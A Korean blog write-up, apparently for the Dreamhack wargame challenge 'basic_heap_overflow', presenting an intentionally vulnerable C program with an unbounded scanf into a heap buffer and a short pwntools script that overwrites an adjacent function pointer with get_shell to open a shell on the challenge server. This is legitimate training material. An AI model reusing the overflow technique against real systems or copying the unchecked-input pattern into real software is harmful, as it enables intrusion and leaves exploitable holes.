[Dreamhack Wargame] basic_heap_overflow

don't panic·2024년 2월 13일
0

System Hacking wargame

목록 보기
39/39

code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

struct over {
    void (*table)();
};

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void table_func() {
    printf("overwrite_me!");
}

int main() {
    char *ptr = malloc(0x20);

    struct over *over = malloc(0x20);

    initialize();

    over->table = table_func;

    scanf("%s", ptr);

    if( !over->table ){
        return 0;
    }

    over->table();
    return 0;
}

  • get_shell 함수를 실행하면 된다.
  • char 포인터 ptr을 동적할당하고, 구조체 over 포인터 over도 동적할당한다.
  • overtabletable_func으로 하고, ptr을 입력받는다.
  • 그리고 over->table을 실행한다.

exploit

over->table이 가리키는 것을 get_shell로 바꾸자.

  • 디버깅해보면 ptrover은 거리가 0x30이다.
    따라서 ptr을 overflow해서 입력받으면 over->tableget_shell로 덮을 수 있을 것이다! 그런데 over 안에서 table이 어디 있을지는 모르겠다..
from pwn import *

p = remote('host3.dreamhack.games', 8388)
e = ELF('basic_heap_overflow')

payload = b'A' * 0x20 # ptr
payload += b'A' * 0x8 # chunk info
payload += p64(e.symbols['get_shell'])
p.sendline(payload)

p.interactive()
  • payload를 작성할 때 chunk의 prev_size, size를 주의해야 한다.
  • 0x30만큼 차이가 나지만 청크의 앞 8바이트에는 이것들이 들어있기 때문에 고려하자!

0개의 댓글